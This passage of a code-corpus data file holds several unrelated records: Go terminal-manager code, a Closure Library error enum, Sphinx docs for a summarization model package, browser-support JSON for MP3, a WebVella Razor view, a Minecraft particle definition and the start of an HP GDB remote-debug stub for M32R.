{\n\t\t\tt.conn.Close()\n\t\t}\n\t\tdelete(m.terminals, instance.Name)\n\t}\n}\n\nfunc (m *manager) getTerminal(instanceName string) *terminal {\n\treturn m.terminals[instanceName]\n}\n\nfunc (m *manager) trackInstance(instance *types.Instance) {\n\tm.Lock()\n\tdefer m.Unlock()\n\n\tm.instances[instance.Name] = instance\n\n}\nfunc (m *manager) untrackInstance(instance *types.Instance) {\n\tm.Lock()\n\tdefer m.Unlock()\n\n\tdelete(m.instances, instance.Name)\n}\nfunc (m *manager) trackingInstance(instance *types.Instance) bool {\n\tm.Lock()\n\tdefer m.Unlock()\n\t_, found := m.instances[instance.Name]\n\n\treturn found\n}\n\nfunc (m *manager) disconnect(instance *types.Instance) {\n\tif !m.trackingInstance(instance) {\n\t\treturn\n\t}\n\n\tm.disconnectTerminal(instance)\n\tm.untrackInstance(instance)\n}\n\nfunc (m *manager) process() {\n\tfor {\n\t\tselect {\n\t\tcase i := <-m.sendCh:\n\t\t\tt := m.getTerminal(i.name)\n\t\t\tif t != nil {\n\t\t\t\tt.write <- i.data\n\t\t\t}\n\t\tcase instance := <-m.errorCh:\n\t\t\t// check if it still exists before reconnecting\n\t\t\ti := core.InstanceGet(&types.Session{Id: instance.SessionId}, instance.Name)\n\t\t\tif i == nil {\n\t\t\t\tlog.Println(\"Instance doesn't exist anymore. Won't reconnect\")\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tm.stateCh <- state{name: instance.Name, status: \"reconnect\"}\n\t\t\ttime.AfterFunc(time.Second, func() {\n\t\t\t\tm.connect(instance)\n\t\t\t})\n\t\t}\n\t}\n}\nfunc (m *manager) Close() {\n\tfor _, i := range m.instances {\n\t\tm.disconnect(i)\n\t}\n}\n\nfunc (m *manager) Start() error {\n\tinstances, err := core.InstanceFindBySession(m.session)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, i := range instances {\n\t\tm.instances[i.Name] = i\n\t\tm.connect(i)\n\t}\n\tgo m.process()\n\treturn nil\n}\n\nfunc NewManager(s *types.Session) (*manager, error) {\n\tm := &manager{\n\t\tsession:   s,\n\t\tsendCh:    make(chan info, 10),\n\t\treceiveCh: make(chan info, 10),\n\t\tstateCh:   make(chan state, 10),\n\t\tterminals: make(map[string]*terminal),\n\t\terrorCh:   make(chan *types.Instance, 10),\n\t\tinstances: make(map[string]*types.Instance),\n\t}\n\n\te.On(event.INSTANCE_NEW, func(sessionId string, args ...interface{}) {\n\t\tif sessionId != s.Id {\n\t\t\treturn\n\t\t}\n\n\t\t// There is a new instance in a session we are tracking. We should track it's terminal\n\t\tinstanceName := args[0].(string)\n\t\tinstance := core.InstanceGet(s, instanceName)\n\t\tif instance == nil {\n\t\t\tlog.Printf(\"Instance [%s] was not found in session [%s]\\n\", instanceName, sessionId)\n\t\t\treturn\n\t\t}\n\t\tm.trackInstance(instance)\n\t\tm.connect(instance)\n\t})\n\n\te.On(event.INSTANCE_DELETE, func(sessionId string, args ...interface{}) {\n\t\tif sessionId != s.Id {\n\t\t\treturn\n\t\t}\n\n\t\t// There is a new instance in a session we are tracking. We should track it's terminal\n\t\tinstanceName := args[0].(string)\n\t\tinstance := &types.Instance{Name: instanceName}\n\t\tm.disconnect(instance)\n\t})\n\n\treturn m, nil\n}\n"}
+{"text": "// Copyright 2011 The Closure Library Authors. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS-IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n/**\n * @fileoverview Defines errors to be thrown by the storage.\n *\n */\n\ngoog.provide('goog.storage.ErrorCode');\n\n\n/**\n * Errors thrown by the storage.\n * @enum {string}\n */\ngoog.storage.ErrorCode = {\n  INVALID_VALUE: 'Storage: Invalid value was encountered',\n  DECRYPTION_ERROR: 'Storage: The value could not be decrypted'\n};\n"}
+{"text": "\n\n\n\n  \n    \n    \n    models package — Deep Summarization 1.0 documentation\n    \n    \n    \n    \n    \n    \n    \n    \n    \n   \n  \n  \n\n  \n    \n\n    
    \n      
    \n        
    \n          
    \n            \n  
    \n
    models package
    \n
    \n
    Submodules
    \n
    \n
    \n
    models.bidirectional module
    \n
    \n
    \nclass models.bidirectional.Bidirectional(review_summary_file, checkpointer, attention=False)
    \n
    Bases: models.sequenceNet.NeuralNet
    \n
    \n
    \nfit()
    \n
    Train the model with the training data
    \n\n\n\n\n\n\n\n
    Returns:None
    \n
    \n\n
    \n
    \ngenerate_one_summary(review_fwd, review_bwd)
    \n
    Create summary for one review using Encoder Decoder Seq2Seq model
    \n\n\n\n\n\n\n\n\n\n
    Parameters:
      \n
    • review_fwd – The input review for forward direction model
      • \n
    • review_bwd – The input review for backward direction model
      • \n
    \n
    Returns:
    Output Summary of the model
    \n
    \n
    \n\n
    \n
    \nget_cell()
    \n
    \n\n
    \n
    \npredict()
    \n
    Make test time predictions of summary
    \n\n\n\n\n\n\n\n
    Returns:None
    \n
    \n\n
    \n\n
    \n
    \n
    models.gru_bidirectional module
    \n
    \n
    \nclass models.gru_bidirectional.GruBidirectional(review_summary_file, checkpointer, attention=False)
    \n
    Bases: models.bidirectional.Bidirectional
    \n
    \n
    \nget_cell()
    \n
    Return the atomic RNN cell type used for this model
    \n\n\n\n\n\n\n\n
    Returns:The atomic RNN Cell
    \n
    \n\n
    \n\n
    \n
    \n
    models.gru_simple module
    \n
    \n
    \nclass models.gru_simple.GruSimple(review_summary_file, checkpointer, attention=False)
    \n
    Bases: models.simple.Simple
    \n
    \n
    \nget_cell()
    \n
    Return the atomic RNN cell type used for this model
    \n\n\n\n\n\n\n\n
    Returns:The atomic RNN Cell
    \n
    \n\n
    \n\n
    \n
    \n
    models.gru_stacked_bidirectional module
    \n
    \n
    \nclass models.gru_stacked_bidirectional.GruStackedBidirectional(review_summary_file, checkpointer, num_layers, attention=False)
    \n
    Bases: models.stacked_bidirectional.StackedBidirectional
    \n
    \n
    \nget_cell()
    \n
    Return the atomic RNN cell type used for this model
    \n\n\n\n\n\n\n\n
    Returns:The atomic RNN Cell
    \n
    \n\n
    \n\n
    \n
    \n
    models.gru_stacked_simple module
    \n
    \n
    \nclass models.gru_stacked_simple.GruStackedSimple(review_summary_file, checkpointer, num_layers, attention=False)
    \n
    Bases: models.stacked_simple.StackedSimple
    \n
    \n
    \nget_cell()
    \n
    Return the atomic RNN cell type used for this model
    \n\n\n\n\n\n\n\n
    Returns:The atomic RNN Cell
    \n
    \n\n
    \n\n
    \n
    \n
    models.lstm_bidirectional module
    \n
    \n
    \nclass models.lstm_bidirectional.LstmBidirectional(review_summary_file, checkpointer, attention=False)
    \n
    Bases: models.bidirectional.Bidirectional
    \n
    \n
    \nget_cell()
    \n
    Return the atomic RNN cell type used for this model
    \n\n\n\n\n\n\n\n
    Returns:The atomic RNN Cell
    \n
    \n\n
    \n\n
    \n
    \n
    models.lstm_simple module
    \n
    \n
    \nclass models.lstm_simple.LstmSimple(review_summary_file, checkpointer, attention=False)
    \n
    Bases: models.simple.Simple
    \n
    \n
    \nget_cell()
    \n
    Return the atomic RNN cell type used for this model
    \n\n\n\n\n\n\n\n
    Returns:The atomic RNN Cell
    \n
    \n\n
    \n\n
    \n
    \n
    models.lstm_stacked_bidirectional module
    \n
    \n
    \nclass models.lstm_stacked_bidirectional.LstmStackedBidirectional(review_summary_file, checkpointer, num_layers, attention=False)
    \n
    Bases: models.stacked_bidirectional.StackedBidirectional
    \n
    \n
    \nget_cell()
    \n
    Return the atomic RNN cell type used for this model
    \n\n\n\n\n\n\n\n
    Returns:The atomic RNN Cell
    \n
    \n\n
    \n\n
    \n
    \n
    models.lstm_stacked_simple module
    \n
    \n
    \nclass models.lstm_stacked_simple.LstmStackedSimple(review_summary_file, checkpointer, num_layers, attention=False)
    \n
    Bases: models.stacked_simple.StackedSimple
    \n
    \n
    \nget_cell()
    \n
    Return the atomic RNN cell type used for this model
    \n\n\n\n\n\n\n\n
    Returns:The atomic RNN Cell
    \n
    \n\n
    \n\n
    \n
    \n
    models.sequenceNet module
    \n
    \n
    \nclass models.sequenceNet.NeuralNet
    \n
    Bases: object
    \n
    \n
    \nbegin_session()
    \n
    Begins the session
    \n\n\n\n\n\n\n\n
    Returns:None
    \n
    \n\n
    \n
    \nfit()
    \n
    \n\n
    \n
    \nform_model_graph()
    \n
    Creates the data graph, loads the model and optimizer and then starts the session.
    \n\n\n\n\n\n\n\n
    Returns:None
    \n
    \n\n
    \n
    \nset_parameters(train_batch_size, test_batch_size, memory_dim, learning_rate)
    \n
    Set the parameters for the model and training.
    \n\n\n\n\n\n\n\n\n\n
    Parameters:
      \n
    • train_batch_size – The batch size of examples used for batch training
      • \n
    • test_batch_size – The batch size of test examples used for testing
      • \n
    • memory_dim – The length of the hidden vector produced by the encoder
      • \n
    • learning_rate – The learning rate for Stochastic Gradient Descent
      • \n
    \n
    Returns:
    None
    \n
    \n
    \n\n
    \n
    \nstore_test_predictions(prediction_id='_final')
    \n
    Stores the test predictions in a CSV file
    \n\n\n\n\n\n\n\n\n\n
    Parameters:prediction_id – A simple id appended to the name of the summary for uniqueness
    Returns:None
    \n
    \n\n
    \n\n
    \n
    \n
    models.simple module
    \n
    \n
    \nclass models.simple.Simple(review_summary_file, checkpointer, attention=False)
    \n
    Bases: models.sequenceNet.NeuralNet
    \n
    \n
    \nfit()
    \n
    Train the model with the training data
    \n\n\n\n\n\n\n\n
    Returns:None
    \n
    \n\n
    \n
    \ngenerate_one_summary(review)
    \n
    Create summary for one review using Encoder Decoder Seq2Seq model
    \n\n\n\n\n\n\n\n\n\n
    Parameters:review – The input review
    Returns:Output Summary of the model
    \n
    \n\n
    \n
    \nget_cell()
    \n
    \n\n
    \n
    \npredict()
    \n
    Make test time predictions of summary
    \n\n\n\n\n\n\n\n
    Returns:None
    \n
    \n\n
    \n\n
    \n
    \n
    models.stacked_bidirectional module
    \n
    \n
    \nclass models.stacked_bidirectional.StackedBidirectional(review_summary_file, checkpointer, num_layers, attention=False)
    \n
    Bases: models.sequenceNet.NeuralNet
    \n
    \n
    \nfit()
    \n
    Train the model with the training data
    \n\n\n\n\n\n\n\n
    Returns:None
    \n
    \n\n
    \n
    \ngenerate_one_summary(review_fwd, review_bwd)
    \n
    Create summary for one review using Encoder Decoder Seq2Seq model
    \n\n\n\n\n\n\n\n\n\n
    Parameters:
      \n
    • review_fwd – The input review for forward direction model
      • \n
    • review_bwd – The input review for backward direction model
      • \n
    \n
    Returns:
    Output Summary of the model
    \n
    \n
    \n\n
    \n
    \nget_cell()
    \n
    \n\n
    \n
    \npredict()
    \n
    Make test time predictions of summary
    \n\n\n\n\n\n\n\n
    Returns:None
    \n
    \n\n
    \n\n
    \n
    \n
    models.stacked_simple module
    \n
    \n
    \nclass models.stacked_simple.StackedSimple(review_summary_file, checkpointer, num_layers, attention=False)
    \n
    Bases: models.sequenceNet.NeuralNet
    \n
    \n
    \nfit()
    \n
    Train the model with the training data
    \n\n\n\n\n\n\n\n
    Returns:None
    \n
    \n\n
    \n
    \ngenerate_one_summary(review)
    \n
    Create summary for one review using Encoder Decoder Seq2Seq model
    \n\n\n\n\n\n\n\n\n\n
    Parameters:review – The input review
    Returns:Output Summary of the model
    \n
    \n\n
    \n
    \nget_cell()
    \n
    \n\n
    \n
    \npredict()
    \n
    Make test time predictions of summary
    \n\n\n\n\n\n\n\n
    Returns:None
    \n
    \n\n
    \n\n
    \n
    \n
    Module contents
    \n
    \n
    \n\n\n          
    \n        
    \n      
    \n      
    \n        
    \n  
    Table Of Contents
    \n  \n
    \n
    Related Topics
    \n\n
    \n  
    \n    
    This Page
    \n    \n   
    \n
    \n  
    Quick search
    \n    
    \n      \n      \n      \n      \n    
    \n    
    \n    Enter search terms or a module, class or function name.\n    
    \n
    \n\n        
    \n      
    \n      
    \n    
    \n    
    \n      ©2017, Harshal Priyadarshi.\n      \n      |\n      Powered by Sphinx 1.3.1\n      & Alabaster 0.7.6\n      \n      |\n      Page source\n    
    \n\n    \n\n    \n  \n"}
+{"text": "{\n  \"title\":\"MP3 audio format\",\n  \"description\":\"Popular lossy audio compression format\",\n  \"spec\":\"http://mpgedit.org/mpgedit/mpeg_format/MP3Format.html\",\n  \"status\":\"other\",\n  \"links\":[\n    {\n      \"url\":\"https://en.wikipedia.org/wiki/MP3\",\n      \"title\":\"Wikipedia\"\n    }\n  ],\n  \"bugs\":[\n    \n  ],\n  \"categories\":[\n    \"Other\"\n  ],\n  \"stats\":{\n    \"ie\":{\n      \"5.5\":\"n\",\n      \"6\":\"n\",\n      \"7\":\"n\",\n      \"8\":\"n\",\n      \"9\":\"y\",\n      \"10\":\"y\",\n      \"11\":\"y\"\n    },\n    \"edge\":{\n      \"12\":\"y\",\n      \"13\":\"y\",\n      \"14\":\"y\",\n      \"15\":\"y\",\n      \"16\":\"y\",\n      \"17\":\"y\",\n      \"18\":\"y\"\n    },\n    \"firefox\":{\n      \"2\":\"n\",\n      \"3\":\"n\",\n      \"3.5\":\"a #1\",\n      \"3.6\":\"a #1\",\n      \"4\":\"a #1\",\n      \"5\":\"a #1\",\n      \"6\":\"a #1\",\n      \"7\":\"a #1\",\n      \"8\":\"a #1\",\n      \"9\":\"a #1\",\n      \"10\":\"a #1\",\n      \"11\":\"a #1\",\n      \"12\":\"a #1\",\n      \"13\":\"a #1\",\n      \"14\":\"a #1\",\n      \"15\":\"a #1\",\n      \"16\":\"a #1\",\n      \"17\":\"a #1\",\n      \"18\":\"a #1\",\n      \"19\":\"a #1\",\n      \"20\":\"a #1\",\n      \"21\":\"a #1\",\n      \"22\":\"y\",\n      \"23\":\"y\",\n      \"24\":\"y\",\n      \"25\":\"y\",\n      \"26\":\"y\",\n      \"27\":\"y\",\n      \"28\":\"y\",\n      \"29\":\"y\",\n      \"30\":\"y\",\n      \"31\":\"y\",\n      \"32\":\"y\",\n      \"33\":\"y\",\n      \"34\":\"y\",\n      \"35\":\"y\",\n      \"36\":\"y\",\n      \"37\":\"y\",\n      \"38\":\"y\",\n      \"39\":\"y\",\n      \"40\":\"y\",\n      \"41\":\"y\",\n      \"42\":\"y\",\n      \"43\":\"y\",\n      \"44\":\"y\",\n      \"45\":\"y\",\n      \"46\":\"y\",\n      \"47\":\"y\",\n      \"48\":\"y\",\n      \"49\":\"y\",\n      \"50\":\"y\",\n      \"51\":\"y\",\n      \"52\":\"y\",\n      \"53\":\"y\",\n      \"54\":\"y\",\n      \"55\":\"y\",\n      \"56\":\"y\",\n      \"57\":\"y\",\n      \"58\":\"y\",\n      \"59\":\"y\",\n      \"60\":\"y\",\n      \"61\":\"y\",\n      \"62\":\"y\",\n      \"63\":\"y\"\n    },\n    \"chrome\":{\n      \"4\":\"y\",\n      \"5\":\"y\",\n      \"6\":\"y\",\n      \"7\":\"y\",\n      \"8\":\"y\",\n      \"9\":\"y\",\n      \"10\":\"y\",\n      \"11\":\"y\",\n      \"12\":\"y\",\n      \"13\":\"y\",\n      \"14\":\"y\",\n      \"15\":\"y\",\n      \"16\":\"y\",\n      \"17\":\"y\",\n      \"18\":\"y\",\n      \"19\":\"y\",\n      \"20\":\"y\",\n      \"21\":\"y\",\n      \"22\":\"y\",\n      \"23\":\"y\",\n      \"24\":\"y\",\n      \"25\":\"y\",\n      \"26\":\"y\",\n      \"27\":\"y\",\n      \"28\":\"y\",\n      \"29\":\"y\",\n      \"30\":\"y\",\n      \"31\":\"y\",\n      \"32\":\"y\",\n      \"33\":\"y\",\n      \"34\":\"y\",\n      \"35\":\"y\",\n      \"36\":\"y\",\n      \"37\":\"y\",\n      \"38\":\"y\",\n      \"39\":\"y\",\n      \"40\":\"y\",\n      \"41\":\"y\",\n      \"42\":\"y\",\n      \"43\":\"y\",\n      \"44\":\"y\",\n      \"45\":\"y\",\n      \"46\":\"y\",\n      \"47\":\"y\",\n      \"48\":\"y\",\n      \"49\":\"y\",\n      \"50\":\"y\",\n      \"51\":\"y\",\n      \"52\":\"y\",\n      \"53\":\"y\",\n      \"54\":\"y\",\n      \"55\":\"y\",\n      \"56\":\"y\",\n      \"57\":\"y\",\n      \"58\":\"y\",\n      \"59\":\"y\",\n      \"60\":\"y\",\n      \"61\":\"y\",\n      \"62\":\"y\",\n      \"63\":\"y\",\n      \"64\":\"y\",\n      \"65\":\"y\",\n      \"66\":\"y\",\n      \"67\":\"y\",\n      \"68\":\"y\",\n      \"69\":\"y\",\n      \"70\":\"y\",\n      \"71\":\"y\"\n    },\n    \"safari\":{\n      \"3.1\":\"n\",\n      \"3.2\":\"n\",\n      \"4\":\"y\",\n      \"5\":\"y\",\n      \"5.1\":\"y\",\n      \"6\":\"y\",\n      \"6.1\":\"y\",\n      \"7\":\"y\",\n      \"7.1\":\"y\",\n      \"8\":\"y\",\n      \"9\":\"y\",\n      \"9.1\":\"y\",\n      \"10\":\"y\",\n      \"10.1\":\"y\",\n      \"11\":\"y\",\n      \"11.1\":\"y\",\n      \"12\":\"y\",\n      \"TP\":\"y\"\n    },\n    \"opera\":{\n      \"9\":\"n\",\n      \"9.5-9.6\":\"n\",\n      \"10.0-10.1\":\"n\",\n      \"10.5\":\"n\",\n      \"10.6\":\"n\",\n      \"11\":\"n\",\n      \"11.1\":\"n\",\n      \"11.5\":\"n\",\n      \"11.6\":\"n\",\n      \"12\":\"n\",\n      \"12.1\":\"n\",\n      \"15\":\"y\",\n      \"16\":\"y\",\n      \"17\":\"y\",\n      \"18\":\"y\",\n      \"19\":\"y\",\n      \"20\":\"y\",\n      \"21\":\"y\",\n      \"22\":\"y\",\n      \"23\":\"y\",\n      \"24\":\"y\",\n      \"25\":\"y\",\n      \"26\":\"y\",\n      \"27\":\"y\",\n      \"28\":\"y\",\n      \"29\":\"y\",\n      \"30\":\"y\",\n      \"31\":\"y\",\n      \"32\":\"y\",\n      \"33\":\"y\",\n      \"34\":\"y\",\n      \"35\":\"y\",\n      \"36\":\"y\",\n      \"37\":\"y\",\n      \"38\":\"y\",\n      \"39\":\"y\",\n      \"40\":\"y\",\n      \"41\":\"y\",\n      \"42\":\"y\",\n      \"43\":\"y\",\n      \"44\":\"y\",\n      \"45\":\"y\",\n      \"46\":\"y\",\n      \"47\":\"y\",\n      \"48\":\"y\",\n      \"49\":\"y\",\n      \"50\":\"y\",\n      \"51\":\"y\",\n      \"52\":\"y\",\n      \"53\":\"y\"\n    },\n    \"ios_saf\":{\n      \"3.2\":\"n\",\n      \"4.0-4.1\":\"y\",\n      \"4.2-4.3\":\"y\",\n      \"5.0-5.1\":\"y\",\n      \"6.0-6.1\":\"y\",\n      \"7.0-7.1\":\"y\",\n      \"8\":\"y\",\n      \"8.1-8.4\":\"y\",\n      \"9.0-9.2\":\"y\",\n      \"9.3\":\"y\",\n      \"10.0-10.2\":\"y\",\n      \"10.3\":\"y\",\n      \"11.0-11.2\":\"y\",\n      \"11.3-11.4\":\"y\",\n      \"12\":\"y\"\n    },\n    \"op_mini\":{\n      \"all\":\"n\"\n    },\n    \"android\":{\n      \"2.1\":\"n\",\n      \"2.2\":\"n\",\n      \"2.3\":\"y\",\n      \"3\":\"y\",\n      \"4\":\"y\",\n      \"4.1\":\"y\",\n      \"4.2-4.3\":\"y\",\n      \"4.4\":\"y\",\n      \"4.4.3-4.4.4\":\"y\",\n      \"67\":\"y\"\n    },\n    \"bb\":{\n      \"7\":\"y\",\n      \"10\":\"y\"\n    },\n    \"op_mob\":{\n      \"10\":\"n\",\n      \"11\":\"y\",\n      \"11.1\":\"y\",\n      \"11.5\":\"y\",\n      \"12\":\"y\",\n      \"12.1\":\"y\",\n      \"46\":\"y\"\n    },\n    \"and_chr\":{\n      \"67\":\"y\"\n    },\n    \"and_ff\":{\n      \"60\":\"y\"\n    },\n    \"ie_mob\":{\n      \"10\":\"y\",\n      \"11\":\"y\"\n    },\n    \"and_uc\":{\n      \"11.8\":\"y\"\n    },\n    \"samsung\":{\n      \"4\":\"y\",\n      \"5\":\"y\",\n      \"6.2\":\"y\",\n      \"7.2\":\"y\"\n    },\n    \"and_qq\":{\n      \"1.2\":\"y\"\n    },\n    \"baidu\":{\n      \"7.12\":\"y\"\n    }\n  },\n  \"notes\":\"Support refers to this format's use in the `audio` element, not other conditions.\",\n  \"notes_by_num\":{\n    \"1\":\"Partial support in older Firefox refers to being limited to certain operating systems.\"\n  },\n  \"usage_perc_y\":92.99,\n  \"usage_perc_a\":0.12,\n  \"ucprefix\":false,\n  \"parent\":\"audio\",\n  \"keywords\":\"mpeg\",\n  \"ie_id\":\"\",\n  \"chrome_id\":\"\",\n  \"firefox_id\":\"\",\n  \"webkit_id\":\"\",\n  \"shown\":true\n}\n"}
+{"text": "@addTagHelper *, WebVella.Erp.Plugins.Core\n@addTagHelper *, WebVella.Erp.Web\n@addTagHelper *, WebVella.TagHelpers\n@using WebVella.Erp.Web.Utils;\n@using WebVella.Erp.Web.Components;\n@using WebVella.Erp.Web.Models;\n@using WebVella.TagHelpers.Models;\n@{\n\tvar options = (PcFieldPhone.PcFieldPhoneOptions)ViewBag.Options;\n\tvar node = (PageBodyNode)ViewBag.Node;\n\tvar fieldModel = (PcFieldPhone.PcFieldBaseModel)ViewBag.Model;\n\tvar labelMode = (WvLabelRenderMode)ViewBag.LabelMode;\n\tvar mode = (WvFieldRenderMode)ViewBag.Mode;\n\tif(String.IsNullOrWhiteSpace(fieldModel.ApiUrl))\n\t\tfieldModel.ApiUrl = $\"/api/v3/en_US/record/{fieldModel.EntityName}/{fieldModel.RecordId}\";\n}\n
    \n\t\n\t@if (options.ShowIcon)\n\t{\n\t\t\n\t}\n\t\n
    "}
+{"text": "{\n  \"format_version\": \"1.10.0\",\n  \"particle_effect\": {\n    \"description\": {\n      \"identifier\": \"minecraft:shulker_bullet\",\n      \"basic_render_parameters\": {\n        \"material\": \"particles_blend\",\n        \"texture\": \"textures/particle/particles\"\n      }\n    },\n    \"components\": {\n      \"minecraft:emitter_rate_manual\": {\n        \"max_particles\": 50\n      },\n      \n      \"minecraft:emitter_lifetime_expression\": {\n        \"activation_expression\": 1,\n        \"expiration_expression\": 0\n      },\n      \"minecraft:emitter_shape_point\": {\n        \"direction\": [ 0.0, 0.0, 0.0 ]\n      },\n      \"minecraft:particle_initial_speed\": 0.0,\n      \"minecraft:particle_lifetime_expression\": {\n        \"max_lifetime\": \"Math.random(3, 3.6)\"\n      },\n      \"minecraft:particle_motion_dynamic\": {\n        \"linear_acceleration\": [ 0, -0.2, 0 ],\n        \"linear_drag_coefficient\": 0.49\n      },\n      \"minecraft:particle_appearance_billboard\": {\n        \"size\": [ \"(variable.particle_random_1 * 0.5f + 0.5f) * 0.2\", \"(variable.particle_random_1 * 0.5f + 0.5f) * 0.2\" ],\n        \"facing_camera_mode\": \"lookat_xyz\",\n        \"uv\": {\n          \"texture_width\": 128,\n          \"texture_height\": 128,\n          \"flipbook\": {\n            \"base_UV\": [ 56, 88 ],\n            \"size_UV\": [ 8, 8 ],\n            \"step_UV\": [ -8, 0 ],\n            \"frames_per_second\": 8,\n            \"max_frame\": 8,\n            \"stretch_to_lifetime\": true,\n            \"loop\": false\n          }\n        }\n      },\n      \"minecraft:particle_appearance_tinting\": {\n        \"color\": [ \"variable.particle_age > (variable.particle_lifetime / 2.0) ? 1 - (0.0153 * (1 - Math.pow(0.7, variable.particle_age)) / (1 - 0.7)) : 1.0\", \"variable.particle_age > (variable.particle_lifetime / 2.0) ? 1 - (0.0387 * (1 - Math.pow(0.7, variable.particle_age)) / (1 - 0.7)) : 1.0\", \"variable.particle_age > (variable.particle_lifetime / 2.0) ? 1 - (0.0636 * (1 - Math.pow(0.7, variable.particle_age)) / (1 - 0.7)) : 1.0\", \"variable.particle_age > (variable.particle_lifetime / 2.0) ? 1 - 0.60 * ((variable.particle_age - (variable.particle_lifetime / 2.0)) / (variable.particle_lifetime / 2.0)) : 1.0\" ]\n      }\n    }\n  }\n}\n"}
+{"text": "/****************************************************************************\n\n\t\tTHIS SOFTWARE IS NOT COPYRIGHTED\n\n   HP offers the following for use in the public domain.  HP makes no\n   warranty with regard to the software or it's performance and the\n   user accepts the software \"AS IS\" with all faults.\n\n   HP DISCLAIMS ANY WARRANTIES, EXPRESS OR IMPLIED, WITH REGARD\n   TO THIS SOFTWARE INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n   OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n\n****************************************************************************/\n\n/****************************************************************************\n *  Header: remcom.c,v 1.34 91/03/09 12:29:49 glenne Exp $\n *\n *  Module name: remcom.c $\n *  Revision: 1.34 $\n *  Date: 91/03/09 12:29:49 $\n *  Contributor:     Lake Stevens Instrument Division$\n *\n *  Description:     low level support for gdb debugger. $\n *\n *  Considerations:  only works on target hardware $\n *\n *  Written by:      Glenn Engel $\n *  ModuleState:     Experimental $\n *\n *  NOTES:           See Below $\n *\n *  Modified for M32R by Michael Snyder, Cygnus Support.\n *\n *  To enable debugger support, two things need to happen.  One, a\n *  call to set_debug_traps() is necessary in order to allow any breakpoints\n *  or error conditions to be properly intercepted and reported to gdb.\n *  Two, a breakpoint needs to be generated to begin communication.  This\n *  is most easily accomplished by a call to breakpoint().  Breakpoint()\n *  simulates a breakpoint by executing a trap #1.\n *\n *  The external function exceptionHandler() is\n *  used to attach a specific handler to a specific M32R vector number.\n *  It should use the same privilege level it runs at.  It should\n *  install it as an interrupt gate so that interrupts are masked\n *  while the handler runs.\n *\n *  Because gdb will sometimes write to the stack area to execute function\n *  calls, this program cannot rely on using the supervisor stack so it\n *  uses it's own stack area reserved in the int array remcomStack.\n *\n *************\n *\n *    The following gdb commands are supported:\n *\n * command          function                               Return value\n *\n *    g             return the value of the CPU registers  hex data or ENN\n *    G             set the value of the CPU registers     OK or ENN\n *\n *    mAA..AA,LLLL  Read LLLL bytes at address AA..AA      hex data or ENN\n *    MAA..AA,LLLL: Write LLLL bytes at address AA.AA      OK or ENN\n *    XAA..AA,LLLL: Write LLLL binary bytes at address     OK or ENN\n *                  AA..AA\n *\n *    c             Resume at current address              SNN   ( signal NN)\n *    cAA..AA       Continue at address AA..AA             SNN\n *\n *    s             Step one instruction                   SNN\n *    sAA..AA       Step one instruction from AA..AA       SNN\n *\n *    k             kill\n *\n *    ?             What was the last sigval ?             SNN   (signal NN)\n *\n * All commands and responses are sent with a packet which includes a\n * checksum.  A packet consists of\n *\n * $#.\n *\n * where\n *  :: \n *     :: >\n *\n * When a packet is received, it is first acknowledged with either '+' or '-'.\n * '+' indicates a successful transfer.  '-' indicates a failed transfer.\n *\n * Example:\n *\n * Host:                  Reply:\n * $m0,10#2a               +$00010203040506070809101112131415#42\n *\n ****************************************************************************/\n\n\n/************************************************************************\n *\n * external low-level support routines\n */\nextern void putDebugChar ();\t/* write a single character      */\nextern int getDebugChar ();\t/* read and return a single char */\nextern void exceptionHandler ();\t/* assign an exception handler   */\n\n/*****************************************************************************\n * BUFMAX defines the maximum number of characters in inbound/outbound buffers\n * at least NUMREGBYTES*2 are needed for register packets \n */\n#define BUFMAX 400\n\nstatic char initialized;\t/* boolean flag. != 0 means we've been initialized */\n\nint remote_debug;\n/*  debug >  0 prints ill-formed commands in valid packets & checksum errors */\n\nstatic const unsigned char hexchars[] = \"0123456789abcdef\";\n\n#define NUMREGS 24\n\n/* Number of bytes of registers.  */\n#define NUMREGBYTES (NUMREGS * 4)\nenum regnames\n{ R0, R1, R2, R3, R4, R5, R6, R7,\n  R8, R9, R10, R11, R12, R13, R14, R15,\n  PSW, CBR, SPI, SPU, BPC, PC, ACCL, ACCH\n};\n\nenum SYS_calls\n{\n  SYS_null,\n  SYS_exit,\n  SYS_open,\n  SYS_close,\n  SYS_read,\n  SYS_write,\n  SYS_lseek,\n  SYS_unlink,\n  SYS_getpid,\n  SYS_kill,\n  SYS_fstat,\n  SYS_sbrk,\n  SYS_fork,\n  SYS_execve,\n  SYS_wait4,\n  SYS_link,\n  SYS_chdir,\n  SYS_stat,\n  SYS_utime,\n  SYS_chown,\n  SYS_chmod,\n  SYS_time,\n  SYS_pipe\n};\n\nstatic int registers[NUMREGS];\n\n#define STACKSIZE 8096\nstatic unsigned char remcomInBuffer[BUFMAX];\nstatic unsigned char remcomOutBuffer[BUFMAX];\nstatic int remcomStack[STACKSIZE / sizeof (int)];\nstatic int *stackPtr = &remcomStack[STACKSIZE / sizeof (int) - 1];\n\nstatic unsigned int save_vectors[18];\t/* previous exception vectors */\n\n/* Indicate to caller of mem2hex or hex2mem that there has been an error. */\nstatic volatile int mem_err = 0;\n\n/* Store the vector number here (since GDB only gets the signal\n   number through the usual means, and that's not very specific).  */\nint gdb_m32r_vector = -1;\n\n#if 0\n#include \"syscall.h\"\t\t/* for SYS_exit, SYS_write etc. */\n#endif\n\n/* Global entry points:\n */\n\nextern void handle_exception (int);\nextern void set_debug_traps (void);\nextern void breakpoint (void);\n\n/* Local functions:\n */\n\nstatic int computeSignal (int);\nstatic void putpacket (unsigned char *);\nstatic unsigned char *getpacket (void);\n\nstatic unsigned char *mem2hex (unsigned char *, unsigned char *, int, int);\nstatic unsigned char *hex2mem (unsigned char *, unsigned char *, int, int);\nstatic int hexToInt (unsigned char **, int *);\nstatic unsigned char *bin2mem (unsigned char *, unsigned char *, int, int);\nstatic void stash_registers (void);\nstatic void restore_registers (void);\nstatic int prepare_to_step (int);\nstatic int finish_from_step (void);\nstatic unsigned long crc32 (unsigned char *, int, unsigned long);\n\nstatic void gdb_error (char *, char *);\nstatic int gdb_putchar (int), gdb_puts (char *), gdb_write 